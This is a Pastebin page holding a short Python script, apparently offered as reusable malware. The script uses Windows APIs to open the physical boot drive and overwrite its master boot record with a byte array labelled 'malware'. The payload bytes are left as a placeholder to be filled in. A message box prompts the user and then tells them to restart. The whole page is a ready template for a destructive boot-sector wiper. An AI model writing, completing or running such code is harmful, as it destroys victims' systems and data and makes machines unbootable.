Advertisement
FlyFar

complete_code

Mar 28th, 2023 (edited)
671
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.65 KB | Cybersecurity | 0 0
  1. from win32file import *
  2. from win32api import *  
  3. from win32gui import *  
  4. from win32con import *  
  5. from win32ui import *  
  6. from time import sleep
  7. malware = bytes([
  8.      # paste hex code data here
  9.    
  10. ])
  11. def run_mbr():
  12.     while MessageBox('Yes to continue" ', 'MBR',MB_YESNO) == IDNO:
  13.             continue
  14.     sleep(3)
  15.     if MessageBox('Complete \nPlease restart the computer', "MBR"):
  16.         pass
  17.     mbrd = CreateFileW(r"\\.\PhysicalDrive0",
  18.                           GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,
  19.                           None, OPEN_EXISTING, 0, 0)
  20.     WriteFile(mbrd, malware, None)
  21.     CloseHandle(mbrd)
  22. run_mbr()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement